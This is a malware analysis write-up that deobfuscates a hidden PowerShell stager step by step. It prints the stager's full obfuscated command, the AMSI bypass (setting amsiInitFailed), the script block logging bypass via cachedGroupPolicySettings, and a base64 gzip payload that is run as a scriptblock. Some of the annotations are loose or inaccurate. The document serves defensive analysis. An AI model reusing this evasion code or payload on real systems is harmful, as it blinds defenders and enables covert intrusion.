

Original Command:

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```
"powershell.exe" -nop -w hidden -noni -c "if([IntPtr]::Size -eq
4){$b='powershell.exe'}else{$b=$env:windir+'\syswow64\WindowsPowerShell\v1.0\powersh
ell.exe'};$s=New-Object
System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-noni -nop -w
hidden -c
$tjtrJ=(((''+''+''Enabl{3}Sc{''+'2}ipt{1}lo''+'c{4}{0''+''}nv''+'ocation{5}ogg''+'
i''+'ng''))-f''I'','B'','r'','e'','k'','L'');
$gwcY=(((''{''+'3}nabl{2}Sc{''+'1}i''+'pt{0}lockL''+'ogging''+''))-f''B'','r'','
'e'','E'');
$jZ5C=((('Sc''+'ript{2}{1}oc{0}L''+'og''+'ging''+''))-f''k'','l'','B'');
$xLV9W=[Collections.Generic.Dictionary[string,System.Object]]::new();If($PSVersionTa
ble.PSVersion.Major -ge 3){
$znaT=[Ref].Assembly.GetType((((''{0}''+'{''+'6''+'}')''+'stem{9}''+'{4''+'}ana''
+'{3''+'}ement{9}{''+'7}''+'{2''+'}''+'t{''+'8}''+'mati{8}n{''+'9}{7}ms''+'
'i''+'{''+'1}t''+'i{5''+'}s'')-f''S'','U'','u'','g'','M'','l'','y'','A'','
'o'','.'));
$uYi_U=[Ref].Assembly.GetType((((''+''{3}''+'ystem.{''+'2}a''+'na{0}ement.'''+'{
''+'1}utomation.{4}''+'ti{5}s'')-f''g'','A'','M'','S'','U'','l'')); if
($znaT) {
$znaT.GetField(((('am{''+'3''+'}i{0''+'}{2}i{''+'1}''+'Fa''+'i''+'{4''+'}ed'
')-f''I'','t'','n'','s'','l''),'NonPublic,Static').SetValue($null,$true); };
$ff4Nc=$uYi_U.GetField('cachedGroupPolicySettings','NonPublic,Static'); If
($ff4Nc) { $1Uh3W=$ff4Nc.GetValue($null); If($1Uh3W[$jZ5C]){ $1Uh3W[$jZ5C][$gwcY]=0;
$1Uh3W[$jZ5C][$tjtrJ]=0; } $xLV9W.Add($gwcY,0); $xLV9W.Add($tjtrJ,0);
$1Uh3W['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\''+$jZ5C]
=$xLV9W; } Else {
[Ref].Assembly.GetType(((('Sy{''+'0}tem.Management''+''.A{''+'4}''+'tomatio''+'n
.S''+'c{1}ipt''+'{2}{5}oc{3''+'}'))-f''s'','r'','B'','k'','u'','l'')).GetFie
ld('signatures','NonPublic,Static').SetValue($null,(New-Object
Collections.Generic.HashSet[string])); };&([scriptblock]::create((New-Object
System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object
System.IO.MemoryStream([System.Convert]::FromBase64String(((('H4sIAH8phmICA7VX+'''+'
'2/iS''+'BL+faX9H6wVEkYhYAPJhZFGOhTsMMG8/MKwaNXYDTS0bW''+'I3ELK7//tV80gyN8nd3EljCc
Xu{2}''+'qqu/uq{2}Rxa70GAKi{1}VWDY{1}/f/1FuDwDlKJIEHPR4zosCjkajNe48LYNCx''+'vhqyBO
le22mUSIxLmVxXq7NMUxO3+XWpgpWYajOSU4EwvCX4K3wim+7c/XOGDCn0LuJ1KLJnNEL2LHBgpWWLhV4pDv
dZMAcc9K1pYSJuZ//z1fmN7Ks5L2t''+'EM0E/PWMWM4KoWU5gvC3wV+oH3cYjFvkiBNsmTBSH6Jq5WSE2d
ogXtgby9NzFZJmOXhLm+3STHbpfHpUtzKWUbMw+sgT{1}IldFOcZfmiMOX2p7PZP8Xp5fDRlmYkwiUjZjhNt
hZ09yTAWamN4pDiEV7M{1}MtiK''+'YmXs0IBxPbJBou5eEdpUfhfzIg9fLhC96NK4ns1kBqwtFCEmH5/TT
MJdxSFFfMf+Hmi{1}{1}GeVyoAfn9zCBdX/hx{2}Dx/w523h+kxPOxhcFgdJRk66XwWpKJhwOmJJeoTPnJ3u
cGH2C{2}i{1}e+paD8UftSZfVbmiBwtTNYHh7E39m+jnNu3I0bnU52Ru4gWJcFMYo4gEV76KHwUFLyg+IVK6
ivXA{1}TF/2cBhE108RIzjzLnxnZoWEfaqq+4IDXGqBBDYDLyCmBe+deYcOjFvxCaOAL3zN5A1t4AswVfpS2
Yc{2}6fzbxDKNyJksq''+'Iw2''+'EGaBkXBwo''+'hiSHglzshl''+'S9mx5PSaf3PX3FFGApSxq7lZ
4d/xvJzbSOKMpbsAAGsY2NYWBwRRDklRaJM{1}q0eLLK/n5z8EpIEohfwBS3sICKxwI''+'CzG6ZLy''+'
2sSpUshZmBnRluIIZE51{1}6doCVXikiUnfqELdV0feXpNhZP30TZXUN75C{1}G3aMKKgktSBmWI4/zk/V90
ff9+zt40UnyJj3hNsql6ZDwNcoc/As7TC0YnRFiGa0hpEqkow/e1c60Rfyv3yUCBx2+2{2}YnBLBN+TSOmRD
YcUjUsc/EwYFISmUEjG7T0B4UclOfgoacEYSfEdcutMUszWGOgtIdEUmu{2}{1}JVseHcMZ{2}{1}M5htK21
4FVBo022XLzyRyaHvc1t1GUKu1x5JS{2}db6VWkD6PlEXm6UsBeRw3MX3qGo9{2}uqkamS{1}bVOYzT3''+'
'Kv{2}Eo+1yTV8tvCSz7v1muVyuH6h1R0NFTcIK3SF3lNjtIFLLZdcMme3IPdu5ISq/p+3V75H3nPnWg9xdK
```

```
8vHFh363vAfhtYbupY6cI7Kc899eBm/aMt5i6YTS+35n{2}m0ZXPpNTbL4Vg9zFvueOJ1umg83PfWctjRdqb
tLB81Z{2}iab''+'HYbaoY8Rg0tpH6F7R8t1ZuMOy/Iq++6Lx{2}IG0vvg4Af1H+PbE3qN1Tb9ya{2}INpw
mxLYVFBz62G0KMTuz0ZLuENlFWHDrblvmvwu+1579D{1}nMnK1iWl5juw2w8R+M''+'Wp''+'zV++F1dVk
SOnBch5qvbW+Np1R14xHVCudDLDuRqEUbnxvFA83YXUU1dlkPdLnY/Mw15gauuEBNzcVX5{2}0{2}aZTHWnU
Mt3tnbPZtvs6bVhxZ41sN5vTVTNw6m''+'vf0425I79MKqNFKD0b0A4Zcphstfxnx6HSp03e2c7dMJTqkb1
xj67baZgVeTe3fcmu9Iy52xmNWndqb6wd7a{2}aVH{1''+'}1cWvR4n1fdkkwsZGiHO+NEY/j2JEnyb3s7P
o{1}Wxolj+MKUcyDohCsPqm6+tSG/dBBEAW6p7jDd3fo+xjkgZuy3iKGBvJIsw893CzLTl1+was05wbaqInC
kW0tFUVTFMDb3+oDwq57YKffuZPDRGnAvt7zkP{2}oEdwty/5YCc2b{2}np0N7n903fdHN+sUiB12b{1}V4I
V/gHiffkp''+'3v2xbySN6R05+Ui3L9qG1UJ6UmxtVVues{2}VU7e7RU7XLd+fob5PTUITG{2}Vma5907Z4
c3v119yqG9+S61P+vtJkqzFaK{1}8tC1{2}8''+'VXT1L90oY''+'HCEaosjHu{1}10Y0xhAIIR6VqwF
EqTgE8BvF/DAHIEC/iU4hgnpz56Kwivgo''+'W36eC690XLBHyEGgjVqdTF8ZKtitJzVZKqgUvPUu1U6378
Yo1kexS5''+'{2}SKfCk7AXGzTk20wRxACKP50qGD2Y9CCPgX{2}M9zg5A30C+hg5yLO0V0ThL7H7nKtVya
8gw4wk+HiUz71nRgCBm7xk5BjfcZ6P2PlsPZTKXPpRCv4E/4Xy{2}yt/YfdH6KRVDxj893yt''+'wvvuvjP
A8BDhIGgBR2V4v0c9yEOlyx5F16s{1}{1}osLg//36e/Y7c9mKZPHf1f580shnUNAAA{0}''-f''='',''Q
'',''r'')))))],[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$
s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.
CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);"
```

Decoding Notes:

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Instructions:

1. remove ''+' everytime it is found. this is used to join text together and helps obfuscate the code from humans and automated software that looks for specific strings of text.
2. replace {0}...{9} with the correct character
3. decode Base64
4. unzip Base64 Binary

code:

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```
powershell.exe" -nop -w hidden -noni -c "
```

```
if([IntPtr]::Size -eq
```

```
4){$b='powershell.exe'}else{$b=$env:windir+'\syswow64\WindowsPowerShell\v1.0\powershell.exe'}; // determine which Powershell to use
```

```
$s=New-Object System.Diagnostics.ProcessStartInfo; // declare variable "s"
```

```
$s.FileName=$b; // either 'powershell.exe' OR
```

```
$env:windir+'\syswow64\WindowsPowerShell\v1.0\powershell.exe' based on the first IF statement
```

```
$s.Arguments='-noni -nop -w hidden -c
```

```
$tjtrJ=(((''+''Enabl{3}Sc{''+'2}ipt{1}lo''+'c{4}{0}''+'}nv''+'ocation{5}ogg''+'i''+'ng'))-f'I','B','r','e','k','L'); //
```

```
EnableScriptBlockInvocationLogging
```

```
'I','B','r','e','k','L'
```

```
0 1 2 3 4 5
```

```
$s.Arguments='-noni -nop -w hidden -c EnableScriptBlockInvocationLogging
```

```

$gwcY=((('{'+3}nabl{2}Sc{'+1}i'+pt{0}lockL'+ogging'+'))-f'B','r',
'e','E'); // 'EnableScriptBlockLogging
'B','r','e','E'
0 1 2 3
$gwcY=EnableScriptBlockLogging

$jZ5C=((('Sc'+ript{2}{1}oc{0}L'+og'+ging'+'))-f'k','l','B');
//ScriptBlockLogging
'k','l','B'
0 1 2
$jZ5C=ScriptBlockLogging

$xLV9W=[Collections.Generic.Dictionary[string,System.Object]]::new();

If($PSVersionTable.PSVersion.Major -ge 3){
$znaT=[Ref].Assembly.GetType((( '{0}'+ '{'+6'+ '}'+'stem{9}'+ '{4}'+ '}'+'ana'+
'+ '{3}'+ '}'+'ement{9}{'+7}'+ '{2}'+ '}'+'t{'+8}'+ '}'+'mati{8}n{'+9}{7}ms'+
'i'+ '{'+1}t'+ 'i{5}'+ '}'s'))-f'S','U','u','g','M','l','y','A',
'o','.'));
// System.Management.Automation.AmsiUtils
'S','U','u','g','M','l','y','A','o','.'
0 1 2 3 4 5 6 7 8 9
If($PSVersionTable.PSVersion.Major -ge 3){
$znaT=[Ref].Assembly.GetType(System.Management.Automation.AmsiUtils);

$uYi_U=[Ref].Assembly.GetType((( ' '+ '{3}'+ '}'+'ystem.{'+2}a'+ '}'+'na{0}ement.'+' '+'{
'+1}utomation.{4}'+ '}'+'ti{5}s'))-f'g','A','M','S','U','l'));
'g','A','M','S','U','l'
0 1 2 3 4 5
System.Management.Automation.Utils
$uYi_U=[Ref].Assembly.GetType(System.Management.Automation.Utils);

if ($znaT) {
$znaT.GetField((( 'am{'+3'+ '}'+'i{0}'+ '}'+'{2}i{'+1}'+ '}'+'Fa'+ '}'+'i'+ '}'+'{4}'+ '}'+'ed'
')-f'I','t','n','s','l'), 'NonPublic,Static').SetValue($null,$true);
'I','t','n','s','l'
0 1 2 3 4
amsiInitFailed
if ($znaT) {
$znaT.GetField(amsiInitFailed), 'NonPublic,Static').SetValue($null,$true);

};

$ff4Nc=$uYi_U.GetField('cachedGroupPolicySettings', 'NonPublic,Static');

If ($ff4Nc) { $lUh3W=$ff4Nc.GetValue($null);

If($lUh3W[$jZ5C]){ $lUh3W[$jZ5C][$gwcY]=0;

```

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$1Uh3W[$jZ5C][$tjtrJ]=0;

} $xLV9W.Add($gwcY,0);

$xLV9W.Add($tjtrJ,0);

$1Uh3W['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\'+'$jZ5C]
=$xLV9W;

} Else {
[Ref].Assembly.GetType(((('Sy{'+''}tem.Management''+'.A{'+''}4}''+'tomatio''+'n
.S''+'c{1}ipt''+'{2}{5}oc{3''+'}')-f's','r','B','k','u','l')).GetFie
ld('signatures','NonPublic,Static').SetValue($null,(New-Object
Collections.Generic.HashSet[string]));
's','r','B','k','u','l'
  0      1      2      3      4      5

System.Management.Automation.ScriptBlock
} Else {
[Ref].Assembly.GetType(System.Management.Automation.ScriptBlock).GetField('signatur
es','NonPublic,Static').SetValue($null,(New-Object
Collections.Generic.HashSet[string]));

}};

```

```

&([scriptblock]::create((New-Object System.IO.StreamReader(New-Object
System.IO.Compression.GzipStream((New-Object
System.IO.MemoryStream([System.Convert]::FromBase64String(((('H4sIAH8phmICA7VX+'+'
'2/iS''+'BL+faX9H6wVEkYhYAPJhZFGOhTsMMG8/MKwaNXYDTS0bw''+'I3ELK7//tV80gyN8nd3EljCc
Xu{2}''+'qqu/uq{2}Rxa7OGAki{1}VWDY{1}/f/1FuDwDlKJIEHPR4zosCjkajNe48LYNCx''+'vhqyBO
le22mUSIxLMvXxq7NMUx03+XWpgpWYajOSU4EwvCX4K3wim+7c/XOGDCn0LuJ1KLJnNEL2LHBgpWWLhV4pDv
dZMAcc9K1pYSJuZ//z1fmN7Ks5L2t''+'EM0E/PWMWM4KoWU5gvC3wV+oH3cYjFvkiBNsmTBSh6Jq5WSE2d
ogXtgbY9NzFZJmOXhLm+3STHbpFHpUtzKWUbMw+sgT{1}I1DF0cZfmiMOX2p7PZP8Xp5fDRlmYkwiUjZjhNt
hZ09yTAWamN4pDiEV7M{1}MtiK''+'YmXs0IBxPbJBou5eEdpUfhfzIg9fLhC96NK4nslkBqwtFCEmH5/TT
MJdxSFFfMf+Hmi{1}{1}GeVyoAfn9zCBdX/hx{2}Dx/w523h+kxPOxhcFgdJRk66XwWpKJhwOmJJeoTPnJ3u
cGH2C{2}i{1}e+paD8UftSZfVbmiBwtTnyHh7E39m+jnNu3I0bnU52Ru4gWJcFmYo4gEV76KHwUFLyg+IVK6
ivXA{1}TF/2cBhE108RIzjzLnxnZowEfaqq+4IDXGqBBDYDLyCmBe+deYc0jFvxCa0AL3zN5A1t4AswVfpS2
Yc{2}6fzbxDKNyJksq''+'Iw2''+'EGaBkXBwo''+'hiSHglzshl''+'S9mx5PSaf3PX3FFGApSxq7lZ
4d/xvJzbSOKMpbsAAGsY2NYWBwRRDklRaJM{1}q0eLLK/n5z8EpIEohfwBS3sICKxwI''+'CzG6ZLy''+'
2sSpUShZmBnRluIIZE51{1}6doCVXikiUnfqElDv0feXpNhZP30TZxUN75C{1}G3aMKKgktSBmWi4/zk/V90
fF9+zt40UnyJj3hNsql6ZDwNcoc/As7TC0YnRFiGa0hpEqkow/e1c60Rfyv3yUCBx2+2{2}YnBLBN+TSOmRD
YcUjUSc/EwYFISmUEjG7T0B4UclOfgoacEYSfEdcutMUszWGOgtIdEUmu{2}{1}JVseHcMZ{2}{1}M5htK21
4FVBo022XLzyRyaHvc1t1GUKu1x5JS{2}db6Vwkd6PlEXm6UsBeRw3MX3qGo9{2}uqkamS{1}bVOYzT3''+'
'Kv{2}Eo+1yTV8tvCSz7v1muVyuH6h1R0NFTcIK3SF3lNjtIFLLZdcMme3IPdu5ISq/p+3V75H3nPnWg9xdK
8vHFh363vAfhtYbupY6cI7Kc899eBm/aMt5i6YTS+35n{2}m0ZXPpNTbL4Vg9zFvue0J1umg83PfwCtjRdqB
tLB81Z{2}iab''+'HYbaoY8Rg0tpH6F7R8t1ZuM0y/Iq++6Lx{2}IG0vwg4Af1H+PbE3qN1Tb9ya{2}INpw
mxLYVFBz62G0Kmtuz0ZLuENlFWhDRblvmvwu+1579D{1}nMnK1iWl5juw2w8R+M''+'Wp''+'zV++F1dVk
SOnBch5qvbW+Np1R14xHVCudDLDuRqEUBnxvFA83YXUU1dlkPdLnY/Mw15gauuEBNzcVX5{2}0{2}aZTHWnU
Mt3tnbPZtvs6bVhxZ41sN5vTVTNw6m''+'vf0425I79MKqNFKD0b0A4Zcphstfxnx6HSp03e2c7dMJTqkbl
xj67baZgVeTe3fcmu9Iy52xmNwndqb6wd7a{2}aVH{1}''+'}1cWvR4nlfdkkwsZGiH0+NEY/j2JEnyb3s7P

```

```
o{1}Wxolj+MKUcyDohCsPqm6+tSG/dBBEAW6p7jDd3fo+xjkgZuy3iKGBvJIsW893CzLTl1+was05wbaqInC
kW0tFUVTFMDb3+oDwq57YKffuZPDRGnAvt7zkP{2}oEdwty/5YCc2b{2}np0N7n903fdHN+sUiBl2b{1}V4I
V/gHiffkp''+'3v2xbySN6R05+Ui3L9qG1UJ6UmxtVVues{2}VU7e7RU7XLd+fob5PTUITG{2}Vma5907Z4
c3v119yq9G9+S61P+vtJkqzFaK{1}8tC1{2}8''+'VXT1L90oY''+'HCeEaosjHu{1}10Y0xhAIIR6VqwF
EqTgE8BvF/DAHIeC/iU4hgnpz56Kwivgo''+'W36eC690XLBHyEGgjVqdTF8ZKtitJzVZKgqUvPUu1U6378
Yo1kexS5''+'{2}SKfCk7AXGzTk20wRxaCKP50qGD2Y9CCPgX{2}M9zg5A30C+hg5yL00V0ThL7H7nKtVya
8gw4wk+HiUz71nRgCBm7xk5BjFCZ6P2PlsPZTKXPPRCv4E/4Xy{2}yt/YfdH6KRVDxj893yt''+'wvvuvjP
A8BDhIGgBR2V4v0c9yE0lyx5F16s{1}{1}osLg//36e/Y7c9mKZPHf1f580shnUNAAA{0}''')-f''='',''Q
'',''r'')))))],[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';
```

```
''='',''Q'',''r'')
0      1      2
```

```
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
QosLg//36e/Y7c9mKZPHf1f580shnUNAAA=
```

```
$s.UseShellExecute=$false;
$s.RedirectStandardOutput=$true;
$s.WindowStyle='Hidden';
$s.CreateNoWindow=$true;
$p=[System.Diagnostics.Process]::Start($s);
```

De Obfuscated Command:

=====

```
powershell.exe" -nop -w hidden -noni -c "
```

NoP – NoProfile: Doesn't load the PowerShell profile

NonI – NonInteractive: Doesn't create an interactive prompt, i.e. it runs the command without the PowerShell window popping up a persistent terminal on the user's screen

-w hidden: uses windows style hidden which prevents a dialog from appearing for the user

```
if([IntPtr]::Size -eq
4){$b='powershell.exe'}else{$b=$env:windir+'\syswow64\WindowsPowerShell\v1.0\powershell.exe'}; // determine which Powershell to use
```

```
$s=New-Object System.Diagnostics.ProcessStartInfo; // declare variable "s" which starts a program/process
```

```
$s.FileName=$b; // either 'powershell.exe' OR
$env:windir+'\syswow64\WindowsPowerShell\v1.0\powershell.exe' based on the first IF statement
```

```
$s.Arguments='-noni -nop -w hidden -c EnableScriptBlockInvocationLogging'; //
disable logging of ScriptBlock which gets used later on
https://seamlessintelligence.com.au/powershell\_script\_block\_logging.html
```

```
$s.UseShellExecute=$false; // (UseShellExecute) refers to a graphical shell
```

```
$s.RedirectStandardOutput=$true; // Gets a stream used to read the textual output of the application
```

```
$s.WindowStyle='Hidden'; // uses windows style hidden which prevents a dialog from appearing for the user
```

```
$s.CreateNoWindow=$true; // Don't create a window that the user can see
```

```
$p=[System.Diagnostics.Process]::Start($s); //
```

```
If($PSVersionTable.PSVersion.Major -ge 3){
$znAT=[Ref].Assembly.GetType(System.Management.Automation.AmsiUtils); // depending on version of powershell set variable which was used for the next if statement.
```

```
if ([Ref].Assembly.GetType(System.Management.Automation.AmsiUtils) {
[Ref].Assembly.GetType(System.Management.Automation.AmsiUtils.GetField(amsiInitFailed), 'NonPublic,Static').SetValue($null,$true); // avoid logging what is going on
https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
```

```
};
```

```
If
```

```
[Ref].Assembly.GetType(System.Management.Automation.Utils).GetField('cachedGroupPolicySettings','NonPublic,Static')) {  
$lUh3W=[Ref].Assembly.GetType(System.Management.Automation.Utils).GetField('cachedGroupPolicySettings','NonPublic,Static').GetValue($null); // if statement to set variable
```

```
If([Ref].Assembly.GetType(System.Management.Automation.Utils).GetField('cachedGroupPolicySettings','NonPublic,Static').GetValue($null)[ScriptBlockLogging]){  
[Ref].Assembly.GetType(System.Management.Automation.Utils).GetField('cachedGroupPolicySettings','NonPublic,Static').GetValue($null)[ScriptBlockLogging][EnableScriptBlockLogging]=0; // bypass scriptblocklogging some code looks to come from  
https://github.com/cobbr/cobbr.io/blob/master/\_posts/2017-05-06-ScriptBlock-Logging-Bypass.md
```

```
[Ref].Assembly.GetType(System.Management.Automation.Utils).GetField('cachedGroupPolicySettings','NonPublic,Static').GetValue($null)[ScriptBlockLogging][$tjtr]=0;  
// logging bypass
```

```
}  
[Collections.Generic.Dictionary[string,System.Object]]::new().Add(EnableScriptBlockLogging,0); // logging bypass
```

```
[Collections.Generic.Dictionary[string,System.Object]]::new().Add($tjtr,0); // logging bypass
```

```
[Ref].Assembly.GetType(System.Management.Automation.Utils).GetField('cachedGroupPolicySettings','NonPublic,Static').GetValue($null)['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging]=[Collections.Generic.Dictionary[string,System.Object]]::new(); // logging bypass
```

```
} Else {  
[Ref].Assembly.GetType(System.Management.Automation.ScriptBlock).GetField('signatures','NonPublic,Static').SetValue($null,(New-Object Collections.Generic.HashSet[string])); // logging bypass
```

```
}};
```

```
&([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream([System.Convert]::FromBase64String(H4sIAH8phmICA7VX2/iSBL+faX9H6wVEkYhYAPJhZFG0htsMMG8/MKwaNXyDTS0bWI3ELK7//tV80gyN8nd3EljCcXurqu/uqrRxa70GAKiQVWDYQ/f/1FuDwDlKJIEHPR4zosCjkajNe48LYNCxvhqyB0le22mUSIxLMvXxq7NMUxO3+XWpgpWYajOSU4EwvCX4K3wim+7c/XOGDCn0Luj1KLJnNEL2LHBgpWwLhV4pDvdZMAcc9K1pYSJuZ//z1fmN7Ks5L2tEM0E/PWMW M4K0WU5gvC3wV+oH3cYjFvkiBNsmTBSH6Jq5WSE2dogXtgbY9NzFZJmOXhLm+3STHbpfHpUtzKWUbMw+sgTQ IldF0cZfmiMOX2p7PZP8Xp5fDRLmYkwiUjZjhNthZ09yTAWamN4pDiEV7MQMtiKYmXs0IBxPbJBou5eEdpUfhfzIg9fLhC96NK4nslkBqwtFCEmH5/TTMJdxSffFmf+HmiQQGeVyoAfn9zCBdX/hxrDx/w523h+kxP0xhcFgdJRk66XwWpKJhw0mJJJeOTpnJ3ucGH2CriQe+paD8UftSZfVbmiBwtTnyHh7E39m+jnNu3I0bnU52Ru4gWJcfMYo4gEV76KHwUFLyg+IVK6ivXAQTF/2cBhE108RIzjzLnXnZoWEfaqq+4IDXGqBBDYDLyCmBe+deYc0jFvxCa0AL3zN5A1t4AswVfpS2Ycr6fzbxDKNyjKsqIw2EGaBkXBwohiSHglzshlS9mx5PSaf3PX3FFGApSxq7lZ4d/xvJzbSOKMpbsAAGsY2NYWBwRRDklRaJMQq0eLLK/n5z8EpIEohfwBS3sICKxwICzG6ZLy2sSpUShZmBnRlu
```

```
IIZE51Q6doCVXikiUnfqElDvOfExpNhZP30TZXUN75CQG3aMKKgktSBmWI4/zk/V90fF9+zt40UnyJj3hNsq
16ZDwNcoc/As7TC0YnRFiGa0hpEqkow/e1c60Rfyv3yUCBx2+2rYnBLBN+TS0mRDYcUjUSc/EwYFISmUEjG7
T0B4UclOfgoacEYSfEdcutMUszWG0gtIdEUmurQJVseHcMZrQM5htK214FVBo022XLzyRyaHvc1t1GUKu1x5
JSrdb6VWkD6PlEXm6UsBeRw3MX3qGo9ruqkamSQbVOYzT3KvrEo+1yTV8tvCSz7v1muVyuH6h1R0NFTcIK3S
F31NjtIFLLZdcMme3IPdu5ISq/p+3V75H3nPnWg9xdK8vHFh363vAfhtYbupY6cI7Kc899eBm/aMt5i6YTS+
35nrm0ZXPPNTbL4Vg9zFvueOJ1umg83PfWCtjRdqbtLB81ZriabHYbaoY8Rg0tpH6F7R8t1ZuMOy/Iq++6Lx
rIG0vwg4Af1H+PbE3qN1Tb9yarINpwmXLVFBz62G0KMTuz0ZLuENlFWHdRb1vmvwu+1579DQnMnK1iWl5ju
w2w8R+MwPzV++F1dVKSOnBch5qvbW+Np1R14xHVCudDLDuRqEUbnxvFA83YXUU1dlkPdLnY/Mw15gauuEBNz
cVX5r0raZTHWnUMt3tnbPZtvs6bVhXZ41sN5vTVTNw6mvf0425I79MKqNFKD0b0A4Zcphstfxnx6HSp03e2c
7dMJTqkblxj67baZgVeTe3fcmu9Iy52xmNwndqb6wd7araVHQ1cWvR4n1fdkkwsZGiH0+NEY/j2JEnyb3s7P
oQWxolj+MKUcyDohCsPqm6+tSG/dBBEAW6p7jDd3fo+xjkgZuy3iKGBvJIsw893CzLTl1+was05wbaqInCkW
0tFUVTFMDb3+oDWq57YKffuZPDRGnAvt7zkProEdwty/5Ycc2brnp0N7n903fdHN+sUiBl2bQV4IV/gHiffk
p3v2xbySN6R05+Ui3L9qG1UJ6UmxtVVuesrVU7e7RU7XLd+fob5PTUITGrVma5907Z4c3v119yq9G9+S61P+
vtJkqzFaKQ8tC1r8VXT1L90oYHCeEaosjHuQ10Y0xhAIIR6VqwFEqTgE8BvF/DAHIeC/iU4hgnpz56Kwivgo
W36eC690XLBHyEGgjVqdTF8ZKtItJzVZKqgUvPUu1U6378Yo1kexS5rSKfCk7AXGzTk20wRxaCKP50qGD2Y9
CCPgXrM9zg5A30C+hg5yL00V0ThL7H7nKtVya8gw4wk+HiUz71nRgCBm7xk5BjfcZ6P2PlsPZTKXPpRCv4E/
4Xyryt/YfdH6KRVDxj893ytwwvuvjPA8BDhIGGBR2V4v0c9yE0lyx5F16sQQosLg//36e/Y7c9mKZPHf1f58
0shnUNAAA=),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';
```

Scriptblock Notes:

=====

```
[scriptblock]::create((New-Object System.IO.StreamReader(New-Object
System.IO.Compression.GzipStream((New-Object
System.IO.MemoryStream([System.Convert]::FromBase64String
```

=====

[scriptblock]::create - create an object representing a pre-compiled block of powershell script

